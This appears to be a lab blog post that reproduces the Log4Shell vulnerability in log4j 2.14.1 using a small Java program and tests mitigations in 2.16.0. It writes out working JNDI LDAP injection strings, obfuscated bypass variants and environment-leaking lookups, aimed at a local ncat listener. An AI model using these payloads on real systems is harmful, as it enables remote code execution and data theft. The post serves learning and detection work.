In this five part series, I'm trying to understand more about the Log4J vulnerability and exploitation, as well as its detection from three different perspectives. These are packet analysis, Snort3 rule creation and Zeek signature and scripting. In this initial post, I am mostly following the write up from cybersecurityworldconference.com.
After downloading a copy of apache-log4j-2.14.1-bin.zip and looking at the files:
┌──(rootđź’€securitynik)-[~/log4j] └─# unzip -l apache-log4j-2.14.1-bin.zip | more Archive: apache-log4j-2.14.1-bin.zip Length Date Time Name --------- ---------- ----- ---- 0 2021-03-06 22:10 apache-log4j-2.14.1-bin/ 12534 2021-03-06 22:05 apache-log4j-2.14.1-bin/RELEASE-NOTES.md 26461 2021-03-06 22:09 apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar 206756 2021-03-06 22:08 apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar ...
Create the file to store my Java code.
┌──(rootđź’€securitynik)-[~/log4j] └─# touch gDay.java
Writing the first part of the code.
public class gDay { public static void main(String ...args) { System.out.println("[*] Hello SecurityNik from main!"); } }
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java [*] Hello SecurityNik from main!
┌──(rootđź’€securitynik)-[~/log4j] └─# unzip apache-log4j-2.14.1-bin.zip Archive: apache-log4j-2.14.1-bin.zip creating: apache-log4j-2.14.1-bin/ inflating: apache-log4j-2.14.1-bin/RELEASE-NOTES.md inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1.jar inflating: apache-log4j-2.14.1-bin/log4j-1.2-api-2.14.1.jar inflating: apache-log4j-2.14.1-bin/log4j-appserver-2.14.1-javadoc.jar inflating: apache-log4j-2.14.1-bin/NOTICE.txt inflating: apache-log4j-2.14.1-bin/log4j-jul-2.14.1-sources.jar ...
┌──(rootđź’€securitynik)-[~/log4j] └─# cp ./apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar ./apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar . -v './apache-log4j-2.14.1-bin/log4j-api-2.14.1.jar' -> './log4j-api-2.14.1.jar' './apache-log4j-2.14.1-bin/log4j-core-2.14.1.jar' -> './log4j-core-2.14.1.jar'
┌──(rootđź’€securitynik)-[~/log4j] └─# env | grep CLASSPATH
┌──(rootđź’€securitynik)-[~/log4j] └─# export CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar && env | grep CLASSPATH CLASSPATH=log4j-api-2.14.1.jar:log4j-core-2.14.1.jar
/* import the logger classes */ import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; /* Declare Public class gDay */ public class gDay { static Logger logger = LogManager.getLogger(gDay.class); public static void main(String ...args) { /* Print the string below on the screen */ System.out.println("[*] Hello SecurityNik from main!"); /* write the contents at arg[0] error out to the console */ logger.fatal("This is not going to end nice ;-( " + args[0]); System.out.println("[*] I'm not a quitter ... Quiting!"); } }
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java "aaaaaaaaaaa" [*] Hello SecurityNik from main! 10:45:07.700 [main] FATAL gDay - This is not going to end nice ;-( aaaaaaaaaaa [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${java:version}' [*] Hello SecurityNik from main! 10:54:40.158 [main] FATAL gDay - This is not going to end nice ;-( Java version 11.0.13 [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java 'Java Information : ${java:version} | ${java:runtime}| ${java:vm} | ${java:os} | ${java:locale} | ${java:hw}' [*] Hello SecurityNik from main! 11:26:11.456 [main] FATAL gDay - This is not going to end nice ;-( Java Information : Java version 11.0.13 | OpenJDK Runtime Environment (build 11.0.13+8-post-Debian-1) from Debian| OpenJDK 64-Bit Server VM (build 11.0.13+8-post-Debian-1, mixed mode, sharing) | Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64 | default locale: en_US, platform encoding: UTF-8 | processors: 2, architecture: amd64-64 [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java 'Current User is: ${env:USER}|${env:SUDO_UID}|${env:SUDO_GID}' [*] Hello SecurityNik from main! 11:06:57.606 [main] FATAL gDay - This is not going to end nice ;-( Current User is: root|1000|1000 [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~] └─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]" Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on 192.168.56.102:443
┌──(rootđź’€securitynik)-[~/log4j] └─# ps -u | grep ncat root 9332 0.0 0.1 8080 2252 pts/1 S+ 13:43 0:00 ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec /usr/bin/echo -- Welcome to SecurityNik World - [root]
┌──(rootđź’€securitynik)-[~/log4j] └─# strings /proc/9332/environ SHELL=/usr/bin/zsh COLORTERM=truecolor SUDO_GID=1000 LANGUAGE= LESS_TERMCAP_se= LESS_TERMCAP_so= [01;33m SUDO_COMMAND=/usr/bin/zsh SUDO_USER=kali PWD=/root LOGNAME=root XAUTHORITY=/home/kali/.Xauthority HOME=/root LANG=en_US.UTF-8 LS_COLORS=rs=0:di=01;... TERM=xterm-256color LESS_TERMCAP_mb= [1;31m LESS_TERMCAP_me= LESS_TERMCAP_md= [1;36m USER=root DISPLAY=:0.0 LESS_TERMCAP_ue= SHLVL=2 LESS_TERMCAP_us= [1;32m PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/root/.dotnet/tools SUDO_UID=1000 MAIL=/var/mail/root OLDPWD=/root _=/usr/bin/ncat
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}' [*] Hello SecurityNik from main! 13:50:15.356 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing} [*] I'm not a quitter ... Quiting!
Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45312. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
┌──(rootđź’€securitynik)-[~] └─# tcpdump -nnti any port 443 -A lo In IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [S], seq 3283239103, win 65495, options [mss 65495,sackOK,TS val 3367923743 ecr 0,nop,wscale 7], length 0 E..<..@.@.....8f..8f......@..........K......... ..p......... lo In IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [S.], seq 2200536479, ack 3283239104, win 65483, options [mss 65495,sackOK,TS val 3367923743 ecr 3367923743,nop,wscale 7], length 0 E..<..@.@.H...8f..8f.....)....@......K......... ..p...p..... lo In IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [.], ack 1, win 512, options [nop,nop,TS val 3367923743 ecr 3367923743], length 0 E..4..@.@.....8f..8f......@..).......C..... ..p...p. lo In IP 192.168.56.102.45312 > 192.168.56.102.443: Flags [P.], seq 1:15, ack 1, win 512, options [nop,nop,TS val 3367923745 ecr 3367923743], length 14 E..B..@.@.....8f..8f......@..).......Q..... ..p!..p.0....`........ lo In IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [.], ack 15, win 512, options [nop,nop,TS val 3367923745 ecr 3367923745], length 0 E..4..@.@.....8f..8f.....)....@......C..... ..p!..p! lo In IP 192.168.56.102.443 > 192.168.56.102.45312: Flags [P.], seq 1:42, ack 15, win 512, options [nop,nop,TS val 3367923750 ecr 3367923745], length 41 E..]. @.@..t..8f..8f.....)....@......l..... ..p&..p!-- Welcome to SecurityNik World - [root] ...
First unsetting the existing CLASSPATH environment variable.
┌──(rootđź’€securitynik)-[~/log4j] └─# echo $CLASSPATH log4j-api-2.14.1.jar:log4j-core-2.14.1.jar ┌──(rootđź’€securitynik)-[~/log4j] └─# unset CLASSPATH ┌──(rootđź’€securitynik)-[~/log4j] └─# echo $CLASSPATH
┌──(rootđź’€securitynik)-[~/log4j] └─# cp apache-log4j-2.16.0-bin/log4j-api-2.16.0.jar apache-log4j-2.16.0-bin/log4j-core-2.16.0.jar .
┌──(rootđź’€securitynik)-[~/log4j] └─# export CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar && env | grep CLASSPATH CLASSPATH=log4j-api-2.16.0.jar:log4j-core-2.16.0.jar
┌──(rootđź’€securitynik)-[~/log4j] └─# ncat --nodns --verbose --verbose --listen 192.168.56.102 443 --exec "/usr/bin/echo -- Welcome to SecurityNik World - [$USER]" Ncat: Version 7.92 ( https://nmap.org/ncat ) Ncat: Listening on 192.168.56.102:443
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${jndi:ldap://192.168.56.102:443/Testing}' [*] Hello SecurityNik from main! 14:41:34.307 [main] FATAL gDay - This is not going to end nice ;-( ${jndi:ldap://192.168.56.102:443/Testing} [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${java:os}' [*] Hello SecurityNik from main! 14:46:18.086 [main] FATAL gDay - This is not going to end nice ;-( ${java:os} [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java -Dlog4j2.formatMsgNoLookups=true ./gDay.java '${java:os}' [*] Hello SecurityNik from main! 14:49:20.955 [main] FATAL gDay - This is not going to end nice ;-( ${java:os} [*] I'm not a quitter ... Quiting!
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting}' [*] Hello SecurityNik from main! 09:57:06.557 [main] FATAL gDay - This is not going to end nice ;-( ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://192.168.56.102:443/SecurityNikTesting} [*] I'm not a quitter ... Quiting!
Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45370. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45372. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45376. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45378. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45380. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45382. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45384. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45386. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45388. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${java:OS}' [*] Hello SecurityNik from main! [*] I'm not a quitter ... Quiting!
Using the lower functions, does return results.
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${java:${lower:OS}}' [*] Hello SecurityNik from main! 10:11:15.865 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64 [*] I'm not a quitter ... Quiting!
Trying one more by building on and extending the above.
┌──(rootđź’€securitynik)-[~/log4j] └─# java ./gDay.java '${java:${lower:OS}}:${${lower:JNDI}:ldap://192.168.56.102:443/testing}' [*] Hello SecurityNik from main! 10:13:37.756 [main] FATAL gDay - This is not going to end nice ;-( Linux 5.14.0-kali4-amd64 unknown, architecture: amd64-64:${${lower:JNDI}:ldap://192.168.56.102:443/testing} [*] I'm not a quitter ... Quiting!
Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45434. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45436. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root] Ncat: Connection from 192.168.56.102. Ncat: Connection from 192.168.56.102:45438. NCAT DEBUG: Executing: /usr/bin/echo -- Welcome to SecurityNik World - [root]
Now that I have an understanding of the problem and the solution, time to learn even more.
As previously mentioned, prior to me finishing this post, it was reported that 2.16 is vulnerable to RCE and thus organizations should be moving to 2.17. Looks like it is going to be a while before Log4J gets this right.
Posts in this series:
Learning by practicing: Beginning Log4-Shell - Understanding The Issue/Vulnerability (securitynik.com)
Learning by practicing: Continuing Log4Shell - Understanding/Testing The Exploit (securitynik.com)
Learning by practicing: Continuing Log4-Shell - Packet Analysis - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Snort3 Rule - Detection (securitynik.com)
Learning by practicing: Continuing Log4Shell - Zeek - Detection (securitynik.com)
References:
Log4Shell explained – how it works, why you need to know, and how to fix it – My Blog (cybersecurityworldconference.com)
https://web.archive.org/web/20211215214929/https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce
https://github.com/mergebase/log4j-detector
https://github.com/giterlizzi/nmap-log4shell
https://mvnrepository.com/artifact/org.apache.logging.log4j/log4j-core/2.14.1
https://logging.apache.org/log4j/2.x/download.html
https://gist.github.com/larshaendler/5a7de04f8cfcae8300c2b27bf54fcc92
https://nvd.nist.gov/vuln/detail/CVE-2021-44228
https://archive.apache.org/dist/logging/log4j/
https://www.educba.com/what-is-public-in-java/
https://logging.apache.org/log4j/2.x/
https://www.tutorialspoint.com/log4j/log4j_logging_levels.htm
https://ma.ttias.be/show-the-environment-variables-of-a-running-process-in-linux/
https://nmap.org/ncat/guide/ncat-exec.html
https://community.ibm.com/community/user/security/blogs/adam-frank/2021/12/13/detection-of-log4shell-using-qradar
https://www.lunasec.io/docs/blog/log4j-zero-day-severity-of-cve-2021-45046-increased/
https://www.lunasec.io/docs/blog/log4shell-live-patch-technical/
https://www.lunasec.io/docs/blog/log4j-zero-day-mitigation-guide/
https://github.com/Puliczek/CVE-2021-44228-PoC-log4j-bypass-words
https://logging.apache.org/log4j/2.x/manual/lookups.html
https://logging.apache.org/log4j/2.x/log4j-users-guide.pdf
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45105
Lesson: Overview of JNDI (The Java™ Tutorials > Java Naming and Directory Interface) (oracle.com)
No comments:
Post a Comment